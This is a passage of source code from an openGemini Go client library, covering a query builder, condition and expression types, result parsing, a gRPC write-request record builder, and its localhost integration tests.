*QueryBuilder { 49 | q.where = condition 50 | return q 51 | } 52 | 53 | func (q *QueryBuilder) GroupBy(groupByExpressions ...Expression) *QueryBuilder { 54 | q.groupBy = groupByExpressions 55 | return q 56 | } 57 | 58 | func (q *QueryBuilder) OrderBy(order SortOrder) *QueryBuilder { 59 | q.order = order 60 | return q 61 | } 62 | 63 | func (q *QueryBuilder) Limit(limit int64) *QueryBuilder { 64 | q.limit = limit 65 | return q 66 | } 67 | 68 | func (q *QueryBuilder) Offset(offset int64) *QueryBuilder { 69 | q.offset = offset 70 | return q 71 | } 72 | 73 | func (q *QueryBuilder) Timezone(location *time.Location) *QueryBuilder { 74 | q.timezone = location 75 | return q 76 | } 77 | 78 | func (q *QueryBuilder) Build() *Query { 79 | var commandBuilder strings.Builder 80 | 81 | // Build the SELECT part 82 | if len(q.selectExprs) > 0 { 83 | commandBuilder.WriteString("SELECT ") 84 | for i, expr := range q.selectExprs { 85 | if i > 0 { 86 | commandBuilder.WriteString(", ") 87 | } 88 | commandBuilder.WriteString(expr.build()) 89 | } 90 | } else { 91 | commandBuilder.WriteString("SELECT *") 92 | } 93 | 94 | // Build the FROM part 95 | if len(q.from) > 0 { 96 | commandBuilder.WriteString(" FROM ") 97 | quotedTables := make([]string, len(q.from)) 98 | for i, table := range q.from { 99 | quotedTables[i] = `"` + table + `"` 100 | } 101 | commandBuilder.WriteString(strings.Join(quotedTables, ", ")) 102 | } 103 | 104 | // Build the WHERE part 105 | if q.where != nil { 106 | commandBuilder.WriteString(" WHERE ") 107 | commandBuilder.WriteString(q.where.build()) 108 | } 109 | 110 | // Build the GROUP BY part 111 | if len(q.groupBy) > 0 { 112 | commandBuilder.WriteString(" GROUP BY ") 113 | for i, expr := range q.groupBy { 114 | if i > 0 { 115 | commandBuilder.WriteString(", ") 116 | } 117 | commandBuilder.WriteString(expr.build()) 118 | } 119 | } 120 | 121 | // Build the ORDER BY part 122 | if q.order != "" { 123 | commandBuilder.WriteString(" ORDER BY time ") 124 | commandBuilder.WriteString(string(q.order)) 125 | } 126 | 127 | // Build the LIMIT part 128 | if q.limit > 0 { 129 | commandBuilder.WriteString(fmt.Sprintf(" LIMIT %d", q.limit)) 130 | } 131 | 132 | // Build the OFFSET part 133 | if q.offset > 0 { 134 | commandBuilder.WriteString(fmt.Sprintf(" OFFSET %d", q.offset)) 135 | } 136 | 137 | // Build the TIMEZONE part 138 | if q.timezone != nil { 139 | commandBuilder.WriteString(fmt.Sprintf(" TZ('%s')", q.timezone.String())) 140 | } 141 | 142 | // Return the final query 143 | return &Query{ 144 | Command: commandBuilder.String(), 145 | } 146 | } 147 | -------------------------------------------------------------------------------- /opengemini/query_condition.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "fmt" 19 | "strings" 20 | ) 21 | 22 | type Condition interface { 23 | build() string 24 | } 25 | 26 | type ComparisonCondition struct { 27 | Column string 28 | Operator ComparisonOperator 29 | Value interface{} 30 | } 31 | 32 | func (c *ComparisonCondition) build() string { 33 | switch c.Value.(type) { 34 | case string: 35 | return fmt.Sprintf(`"%s" %s '%v'`, c.Column, c.Operator, c.Value) 36 | default: 37 | return fmt.Sprintf(`"%s" %s %v`, c.Column, c.Operator, c.Value) 38 | } 39 | } 40 | 41 | func NewComparisonCondition(column string, operator ComparisonOperator, value interface{}) *ComparisonCondition { 42 | return &ComparisonCondition{ 43 | Column: column, 44 | Operator: operator, 45 | Value: value, 46 | } 47 | } 48 | 49 | type CompositeCondition struct { 50 | LogicalOperator LogicalOperator 51 | Conditions []Condition 52 | } 53 | 54 | func (c *CompositeCondition) build() string { 55 | var parts []string 56 | for _, condition := range c.Conditions { 57 | parts = append(parts, condition.build()) 58 | } 59 | return fmt.Sprintf("(%s)", strings.Join(parts, fmt.Sprintf(" %s ", c.LogicalOperator))) 60 | } 61 | 62 | func NewCompositeCondition(logicalOperator LogicalOperator, conditions ...Condition) *CompositeCondition { 63 | return &CompositeCondition{ 64 | LogicalOperator: logicalOperator, 65 | Conditions: conditions, 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /opengemini/query_expression.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "fmt" 19 | "strings" 20 | ) 21 | 22 | type Expression interface { 23 | build() string 24 | } 25 | 26 | type AllowedConstantTypes interface { 27 | bool | int | int64 | float64 | string 28 | } 29 | 30 | type ConstantExpression[T AllowedConstantTypes] struct { 31 | Value T 32 | } 33 | 34 | func (c *ConstantExpression[T]) build() string { 35 | return fmt.Sprintf("%v", c.Value) 36 | } 37 | 38 | func NewConstantExpression[T AllowedConstantTypes](value T) *ConstantExpression[T] { 39 | return &ConstantExpression[T]{Value: value} 40 | } 41 | 42 | type StarExpression struct{} 43 | 44 | type FieldExpression struct { 45 | Field string 46 | } 47 | 48 | func (f *FieldExpression) build() string { 49 | return `"` + f.Field + `"` 50 | } 51 | 52 | func NewFieldExpression(field string) *FieldExpression { 53 | return &FieldExpression{ 54 | Field: field, 55 | } 56 | } 57 | 58 | type FunctionExpression struct { 59 | Function FunctionEnum 60 | Arguments []Expression 61 | } 62 | 63 | func (f *FunctionExpression) build() string { 64 | var args []string 65 | for _, arg := range f.Arguments { 66 | args = append(args, arg.build()) 67 | } 68 | return fmt.Sprintf("%s(%s)", f.Function, strings.Join(args, ", ")) 69 | } 70 | 71 | func NewFunctionExpression(function FunctionEnum, arguments ...Expression) *FunctionExpression { 72 | return &FunctionExpression{ 73 | Function: function, 74 | Arguments: arguments, 75 | } 76 | } 77 | 78 | type AsExpression struct { 79 | Alias string 80 | OriginExpr Expression 81 | } 82 | 83 | func (a *AsExpression) build() string { 84 | return fmt.Sprintf("%s AS \"%s\"", a.OriginExpr.build(), a.Alias) 85 | } 86 | 87 | func NewAsExpression(alias string, expr Expression) *AsExpression { 88 | return &AsExpression{ 89 | Alias: alias, 90 | OriginExpr: expr, 91 | } 92 | } 93 | 94 | type ArithmeticExpression struct { 95 | Operator ArithmeticOperator 96 | Operands []Expression 97 | } 98 | 99 | func (a *ArithmeticExpression) build() string { 100 | var operandStrings []string 101 | for _, operand := range a.Operands { 102 | operandStrings = append(operandStrings, operand.build()) 103 | } 104 | return fmt.Sprintf("(%s)", strings.Join(operandStrings, fmt.Sprintf(" %s ", a.Operator))) 105 | } 106 | 107 | func NewArithmeticExpression(operator ArithmeticOperator, operands ...Expression) *ArithmeticExpression { 108 | return &ArithmeticExpression{ 109 | Operator: operator, 110 | Operands: operands, 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /opengemini/query_function.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | type FunctionEnum string 18 | 19 | const ( 20 | FunctionMean FunctionEnum = "MEAN" 21 | FunctionCount FunctionEnum = "COUNT" 22 | FunctionSum FunctionEnum = "SUM" 23 | FunctionMin FunctionEnum = "MIN" 24 | FunctionMax FunctionEnum = "MAX" 25 | FunctionTime FunctionEnum = "TIME" 26 | FunctionTop FunctionEnum = "TOP" 27 | FunctionLast FunctionEnum = "LAST" 28 | ) 29 | -------------------------------------------------------------------------------- /opengemini/query_operator.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | type ComparisonOperator string 18 | 19 | const ( 20 | Equals ComparisonOperator = "=" 21 | NotEquals ComparisonOperator = "<>" 22 | GreaterThan ComparisonOperator = ">" 23 | LessThan ComparisonOperator = "<" 24 | GreaterThanOrEquals ComparisonOperator = ">=" 25 | LessThanOrEquals ComparisonOperator = "<=" 26 | Match ComparisonOperator = "=~" 27 | NotMatch ComparisonOperator = "!~" 28 | ) 29 | 30 | type LogicalOperator string 31 | 32 | const ( 33 | And LogicalOperator = "AND" 34 | Or LogicalOperator = "OR" 35 | ) 36 | 37 | type ArithmeticOperator string 38 | 39 | const ( 40 | Add ArithmeticOperator = "+" 41 | Subtract ArithmeticOperator = "-" 42 | Multiply ArithmeticOperator = "*" 43 | Divide ArithmeticOperator = "/" 44 | ) 45 | -------------------------------------------------------------------------------- /opengemini/query_result.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import "errors" 18 | 19 | const RpColumnLen = 8 20 | 21 | // SeriesResult contains the results of a series query 22 | type SeriesResult struct { 23 | Series []*Series `json:"series,omitempty" msgpack:"series,omitempty"` 24 | Error string `json:"error,omitempty" msgpack:"error,omitempty"` 25 | } 26 | 27 | // QueryResult is the top-level struct 28 | type QueryResult struct { 29 | Results []*SeriesResult `json:"results,omitempty" msgpack:"results,omitempty"` 30 | Error string `json:"error,omitempty" msgpack:"error,omitempty"` 31 | } 32 | 33 | func (result *QueryResult) hasError() error { 34 | if len(result.Error) > 0 { 35 | return errors.New(result.Error) 36 | } 37 | for _, res := range result.Results { 38 | if len(res.Error) > 0 { 39 | return errors.New(res.Error) 40 | } 41 | } 42 | return nil 43 | } 44 | 45 | func (result *QueryResult) convertRetentionPolicyList() []RetentionPolicy { 46 | if len(result.Results) == 0 || len(result.Results[0].Series) == 0 { 47 | return []RetentionPolicy{} 48 | } 49 | var ( 50 | seriesValues = result.Results[0].Series[0].Values 51 | retentionPolicy = make([]RetentionPolicy, 0, len(seriesValues)) 52 | ) 53 | 54 | for _, v := range seriesValues { 55 | if len(v) < RpColumnLen { 56 | break 57 | } 58 | if rp := NewRetentionPolicy(v); rp != nil { 59 | retentionPolicy = append(retentionPolicy, *rp) 60 | } 61 | } 62 | return retentionPolicy 63 | } 64 | 65 | func (result *QueryResult) convertMeasurements() []string { 66 | if len(result.Results) == 0 || len(result.Results[0].Series) == 0 { 67 | return []string{} 68 | } 69 | var ( 70 | seriesValues = result.Results[0].Series[0].Values 71 | measurements = make([]string, 0, len(seriesValues)) 72 | ) 73 | 74 | for _, v := range seriesValues { 75 | if measurementName, ok := v[0].(string); ok { 76 | measurements = append(measurements, measurementName) 77 | } 78 | } 79 | return measurements 80 | } 81 | -------------------------------------------------------------------------------- /opengemini/query_sort_order.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | type SortOrder string 18 | 19 | const ( 20 | Asc SortOrder = "ASC" 21 | Desc SortOrder = "DESC" 22 | ) 23 | -------------------------------------------------------------------------------- /opengemini/random_util.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | -------------------------------------------------------------------------------- /opengemini/record_builder.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "errors" 19 | "fmt" 20 | "math/rand" 21 | "time" 22 | 23 | "github.com/sourgoodie/opengemini-client-go/lib/record" 24 | "github.com/sourgoodie/opengemini-client-go/proto" 25 | ) 26 | 27 | var ( 28 | _ WriteRequestBuilder = (*writeRequestBuilderImpl)(nil) 29 | random = rand.New(rand.NewSource(time.Now().UnixNano())) 30 | ) 31 | 32 | // RecordLine define an abstract record line structure. 33 | type RecordLine any 34 | 35 | // RecordBuilder build record line, it is not thread safe 36 | type RecordBuilder interface { 37 | // NewLine start a new line, otherwise the added attributes will be in the default row 38 | NewLine() RecordBuilder 39 | // AddTag add a tag to the record. 40 | // If the key exists, it will be overwritten. 41 | // If the key is `time`, it will cause an error. 42 | // If the key is empty or the value is empty, it will be ignored. 43 | AddTag(key string, value string) RecordBuilder 44 | // AddTags add multiple tags to the record. 45 | // Each entry in the map represents a tag where the key is the tag name and the value is the tag value. 46 | AddTags(tags map[string]string) RecordBuilder 47 | // AddField add a field to the record. 48 | // If the key is empty, it will be ignored. 49 | // If the key is `time`, it will cause an error. 50 | // If the key already exists, its value will be overwritten. 51 | AddField(key string, value interface{}) RecordBuilder 52 | // AddFields add multiple fields to the record. 53 | // Each entry in the map represents a field where the key is the field name and the value is the field value. 54 | AddFields(fields map[string]interface{}) RecordBuilder 55 | // CompressMethod set compress method for request data. 56 | CompressMethod(method CompressMethod) RecordBuilder 57 | // Build specifies the time of the record. 58 | // If the time is not specified or zero value, the current time will be used. 59 | Build(timestamp int64) RecordLine 60 | } 61 | 62 | type WriteRequestBuilder interface { 63 | // Authenticate configuration write request information for authentication. 64 | Authenticate(username, password string) WriteRequestBuilder 65 | // AddRecord append Record for WriteRequest, you'd better use NewRecordBuilder to build RecordLine. 66 | AddRecord(rlb ...RecordLine) WriteRequestBuilder 67 | // Build generate WriteRequest. 68 | Build() (*proto.WriteRequest, error) 69 | } 70 | 71 | type fieldTuple struct { 72 | record.Field 73 | value interface{} 74 | } 75 | 76 | type writeRequestBuilderImpl struct { 77 | database string 78 | retentionPolicy string 79 | username string 80 | password string 81 | transform transform 82 | err error 83 | } 84 | 85 | func (r *writeRequestBuilderImpl) reset() { 86 | r.transform.reset() 87 | } 88 | 89 | func (r *writeRequestBuilderImpl) Authenticate(username, password string) WriteRequestBuilder { 90 | r.username = username 91 | r.password = password 92 | return r 93 | } 94 | 95 | func NewWriteRequestBuilder(database, retentionPolicy string) (WriteRequestBuilder, error) { 96 | if err := checkDatabaseName(database); err != nil { 97 | return nil, err 98 | } 99 | return &writeRequestBuilderImpl{database: database, retentionPolicy: retentionPolicy, transform: make(transform)}, nil 100 | } 101 | 102 | func (r *writeRequestBuilderImpl) AddRecord(rlb ...RecordLine) WriteRequestBuilder { 103 | for _, lineBuilder := range rlb { 104 | lb, ok := lineBuilder.(*recordLineBuilderImpl) 105 | if !ok { 106 | continue 107 | } 108 | if lb.err != nil { 109 | r.err = errors.Join(r.err, lb.err) 110 | continue 111 | } 112 | err := r.transform.AppendRecord(lb) 113 | if err != nil { 114 | r.err = errors.Join(r.err, err) 115 | continue 116 | } 117 | } 118 | return r 119 | } 120 | 121 | func (r *writeRequestBuilderImpl) Build() (*proto.WriteRequest, error) { 122 | defer r.reset() 123 | 124 | if r.err != nil { 125 | return nil, r.err 126 | } 127 | 128 | if r.database == "" { 129 | return nil, ErrEmptyDatabaseName 130 | } 131 | 132 | if r.retentionPolicy == "" { 133 | r.retentionPolicy = "autogen" 134 | } 135 | 136 | var req = &proto.WriteRequest{ 137 | Database: r.database, 138 | RetentionPolicy: r.retentionPolicy, 139 | Username: r.username, 140 | Password: r.password, 141 | } 142 | 143 | for mst, rawRecord := range r.transform { 144 | rec, err := rawRecord.toSrvRecords() 145 | if err != nil { 146 | return nil, fmt.Errorf("failed to convert records: %v", err) 147 | } 148 | var buff []byte 149 | buff, err = rec.Marshal(buff) 150 | if err != nil { 151 | return nil, fmt.Errorf("failed to marshal record: %v", err) 152 | } 153 | 154 | req.Records = append(req.Records, &proto.Record{ 155 | Measurement: mst, 156 | MinTime: rawRecord.MinTime, 157 | MaxTime: rawRecord.MaxTime, 158 | Block: buff, 159 | }) 160 | } 161 | 162 | return req, nil 163 | } 164 | 165 | type recordLineBuilderImpl struct { 166 | measurement string 167 | tags []*fieldTuple 168 | fields []*fieldTuple 169 | timestamp int64 170 | compressMethod CompressMethod 171 | err error 172 | } 173 | 174 | func (r *recordLineBuilderImpl) NewLine() RecordBuilder { 175 | return &recordLineBuilderImpl{measurement: r.measurement} 176 | } 177 | 178 | func NewRecordBuilder(measurement string) (RecordBuilder, error) { 179 | if err := checkMeasurementName(measurement); err != nil { 180 | return nil, err 181 | } 182 | return &recordLineBuilderImpl{measurement: measurement}, nil 183 | } 184 | 185 | func (r *recordLineBuilderImpl) CompressMethod(method CompressMethod) RecordBuilder { 186 | r.compressMethod = method 187 | return r 188 | } 189 | 190 | func (r *recordLineBuilderImpl) AddTag(key string, value string) RecordBuilder { 191 | if key == "" { 192 | r.err = errors.Join(r.err, fmt.Errorf("miss tag name: %w", ErrEmptyName)) 193 | return r 194 | } 195 | if key == record.TimeField { 196 | r.err = errors.Join(r.err, fmt.Errorf("tag name %s invalid: %w", key, ErrInvalidTimeColumn)) 197 | return r 198 | } 199 | r.tags = append(r.tags, &fieldTuple{ 200 | Field: record.Field{ 201 | Name: key, 202 | Type: record.FieldTypeTag, 203 | }, 204 | value: value, 205 | }) 206 | return r 207 | } 208 | 209 | func (r *recordLineBuilderImpl) AddTags(tags map[string]string) RecordBuilder { 210 | for key, value := range tags { 211 | r.AddTag(key, value) 212 | } 213 | return r 214 | } 215 | 216 | func (r *recordLineBuilderImpl) AddField(key string, value interface{}) RecordBuilder { 217 | if key == "" { 218 | r.err = errors.Join(r.err, fmt.Errorf("miss field name: %w", ErrEmptyName)) 219 | return r 220 | } 221 | if key == record.TimeField { 222 | r.err = errors.Join(r.err, fmt.Errorf("field name %s invalid: %w", key, ErrInvalidTimeColumn)) 223 | return r 224 | } 225 | typ := record.FieldTypeUnknown 226 | switch value.(type) { 227 | case string: 228 | typ = record.FieldTypeString 229 | case float32, float64: 230 | typ = record.FieldTypeFloat 231 | case bool: 232 | typ = record.FieldTypeBoolean 233 | case int8, int16, int32, int64, uint8, uint16, uint32, uint64, int: 234 | typ = record.FieldTypeInt 235 | } 236 | r.fields = append(r.fields, &fieldTuple{ 237 | Field: record.Field{ 238 | Name: key, 239 | Type: typ, 240 | }, 241 | value: value, 242 | }) 243 | return r 244 | } 245 | 246 | func (r *recordLineBuilderImpl) AddFields(fields map[string]interface{}) RecordBuilder { 247 | for key, value := range fields { 248 | r.AddField(key, value) 249 | } 250 | return r 251 | } 252 | 253 | func (r *recordLineBuilderImpl) Build(t int64) RecordLine { 254 | r.timestamp = t 255 | return r 256 | } 257 | -------------------------------------------------------------------------------- /opengemini/record_impl_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "context" 19 | "testing" 20 | "time" 21 | 22 | "github.com/stretchr/testify/assert" 23 | ) 24 | 25 | func testDefaultRPCClient(t *testing.T) Client { 26 | return testNewClient(t, &Config{ 27 | Addresses: []Address{{ 28 | Host: "localhost", 29 | Port: 8086, 30 | }}, 31 | GrpcConfig: &GrpcConfig{ 32 | Addresses: []Address{{ 33 | Host: "localhost", 34 | Port: 8305, 35 | }}, 36 | }, 37 | }) 38 | } 39 | 40 | func TestNewRPCClient(t *testing.T) { 41 | c := testDefaultRPCClient(t) 42 | ctx := context.Background() 43 | testMeasurement := randomMeasurement() 44 | // create a test database with rand suffix 45 | database := randomDatabaseName() 46 | err := c.CreateDatabase(database) 47 | assert.Nil(t, err) 48 | 49 | // delete test database before exit test case 50 | defer func() { 51 | err := c.DropDatabase(database) 52 | assert.Nil(t, err) 53 | }() 54 | 55 | time.Sleep(time.Second) 56 | 57 | // 列builder 58 | builder, err := NewWriteRequestBuilder(database, "autogen") 59 | assert.Nil(t, err) 60 | // 行组装 61 | recordBuilder, err := NewRecordBuilder(testMeasurement) 62 | assert.Nil(t, err) 63 | 64 | writeRequest, err := builder.AddRecord( 65 | recordBuilder.NewLine().AddTag("t1", "t1").AddTag("t2", "t2"). 66 | AddField("i", 100).AddField("b", true).AddField("f", 3.14). 67 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*10).UnixNano()), 68 | recordBuilder.NewLine().AddTag("a1", "a1").AddTag("a2", "a2"). 69 | AddField("i", 100).AddField("b", true).AddField("f", 3.14). 70 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*5).UnixNano()), 71 | recordBuilder.NewLine().AddTag("b1", "b1").AddTag("b2", "b2"). 72 | AddField("i", 100).AddField("b", true).AddField("f", 3.14). 73 | AddField("s1", "pi1").Build(time.Now().UnixNano()), 74 | ).Build() 75 | 76 | assert.Nil(t, err) 77 | err = c.WriteByGrpc(ctx, writeRequest) 78 | assert.Nil(t, err) 79 | 80 | // query 81 | time.Sleep(time.Second * 5) 82 | var cmd = "select * from " + testMeasurement 83 | queryResult, err := c.Query(Query{Command: cmd, Database: database}) 84 | assert.NoError(t, err) 85 | assert.NotNil(t, queryResult.Results) 86 | assert.EqualValues(t, 1, len(queryResult.Results)) 87 | assert.EqualValues(t, 1, len(queryResult.Results[0].Series)) 88 | assert.NotNil(t, 1, queryResult.Results[0].Series[0]) 89 | assert.EqualValues(t, 3, len(queryResult.Results[0].Series[0].Values)) 90 | } 91 | 92 | func TestNewRPCClient_record_failed(t *testing.T) { 93 | testMeasurement := randomMeasurement() 94 | // create a test database with rand suffix 95 | database := randomDatabaseName() 96 | 97 | time.Sleep(time.Second) 98 | 99 | builder, err := NewWriteRequestBuilder(database, "autogen") 100 | assert.Nil(t, err) 101 | 102 | recordBuilder, err := NewRecordBuilder(testMeasurement) 103 | assert.Nil(t, err) 104 | 105 | _, err = builder.AddRecord( 106 | recordBuilder.NewLine().AddTag("time", "a1").AddTag("a2", "a2"). 107 | AddField("i", 100).AddField("b", true).AddField("f", 3.14). 108 | AddField("s1", "pi1").Build(time.Now().UnixNano()), 109 | ).Build() 110 | 111 | assert.NotNil(t, err) 112 | assert.ErrorContains(t, err, "key can't be time") 113 | } 114 | 115 | func TestNewRPCClient_multi_measurements(t *testing.T) { 116 | c := testDefaultRPCClient(t) 117 | ctx := context.Background() 118 | // create a test database with rand suffix 119 | database := randomDatabaseName() 120 | err := c.CreateDatabase(database) 121 | assert.Nil(t, err) 122 | 123 | // delete test database before exit test case 124 | defer func() { 125 | err := c.DropDatabase(database) 126 | assert.Nil(t, err) 127 | }() 128 | 129 | time.Sleep(time.Second) 130 | 131 | mst1 := randomMeasurement() 132 | mst2 := randomMeasurement() 133 | mst3 := randomMeasurement() 134 | 135 | builder, err := NewWriteRequestBuilder(database, "autogen") 136 | assert.Nil(t, err) 137 | recordBuilder1, err := NewRecordBuilder(mst1) 138 | assert.Nil(t, err) 139 | recordBuilder2, err := NewRecordBuilder(mst2) 140 | assert.Nil(t, err) 141 | recordBuilder3, err := NewRecordBuilder(mst3) 142 | assert.Nil(t, err) 143 | 144 | writeRequest, err := builder.AddRecord( 145 | recordBuilder1.AddTag("t1", "t1").AddTag("t2", "t2"). 146 | AddField("i", 100).AddField("b", true).AddField("f", 3.14). 147 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*10).UnixNano()), 148 | recordBuilder1.NewLine().AddTag("a1", "a1").AddTag("a2", "a2"). 149 | AddField("i", 100).AddField("b", true).AddField("f", 3.14). 150 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*5).UnixNano()), 151 | recordBuilder2.AddTag("b1", "b1").AddTag("b2", "b2"). 152 | AddField("i", 100).AddField("b", true).AddField("f", 3.14). 153 | AddField("s1", "pi1").Build(time.Now().UnixNano()), 154 | recordBuilder2.NewLine().AddTag("b1", "b1").AddTag("b2", "b2"). 155 | AddField("i", 100).AddField("b", true).AddField("f", 3.14). 156 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*5).UnixNano()), 157 | recordBuilder3.AddTag("b1", "b1").AddTag("b2", "b2"). 158 | AddField("i", 100).AddField("b", true).AddField("f", 3.14). 159 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*5).UnixNano()), 160 | recordBuilder3.NewLine().AddTag("b1", "b1").AddTag("b2", "b2"). 161 | AddField("i", 100).AddField("b", true).AddField("f", 3.14). 162 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*3).UnixNano()), 163 | recordBuilder3.NewLine().AddTag("b1", "b1").AddTag("b2", "b2"). 164 | AddField("i", 100).AddField("b", true).AddField("f", 3.14). 165 | AddField("s1", "pi1").Build(time.Now().UnixNano()), 166 | ).Build() 167 | 168 | assert.Nil(t, err) 169 | err = c.WriteByGrpc(ctx, writeRequest) 170 | assert.Nil(t, err) 171 | 172 | // query 173 | time.Sleep(time.Second * 5) 174 | var cmd = "select * from " + mst1 175 | queryResult, err := c.Query(Query{Command: cmd, Database: database}) 176 | assert.NoError(t, err) 177 | assert.NotNil(t, queryResult.Results) 178 | assert.EqualValues(t, 1, len(queryResult.Results)) 179 | assert.EqualValues(t, 1, len(queryResult.Results[0].Series)) 180 | assert.NotNil(t, 1, queryResult.Results[0].Series[0]) 181 | assert.EqualValues(t, 2, len(queryResult.Results[0].Series[0].Values)) 182 | 183 | cmd = "select * from " + mst3 184 | queryResult, err = c.Query(Query{Command: cmd, Database: database}) 185 | assert.NoError(t, err) 186 | assert.NotNil(t, queryResult.Results) 187 | assert.EqualValues(t, 1, len(queryResult.Results)) 188 | assert.EqualValues(t, 1, len(queryResult.Results[0].Series)) 189 | assert.NotNil(t, 1, queryResult.Results[0].Series[0]) 190 | assert.EqualValues(t, 3, len(queryResult.Results[0].Series[0].Values)) 191 | } 192 | -------------------------------------------------------------------------------- /opengemini/record_loadbalance.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "fmt" 19 | "sync" 20 | "sync/atomic" 21 | "time" 22 | 23 | "google.golang.org/grpc" 24 | "google.golang.org/grpc/backoff" 25 | "google.golang.org/grpc/connectivity" 26 | "google.golang.org/grpc/credentials" 27 | "google.golang.org/grpc/credentials/insecure" 28 | "google.golang.org/grpc/keepalive" 29 | 30 | 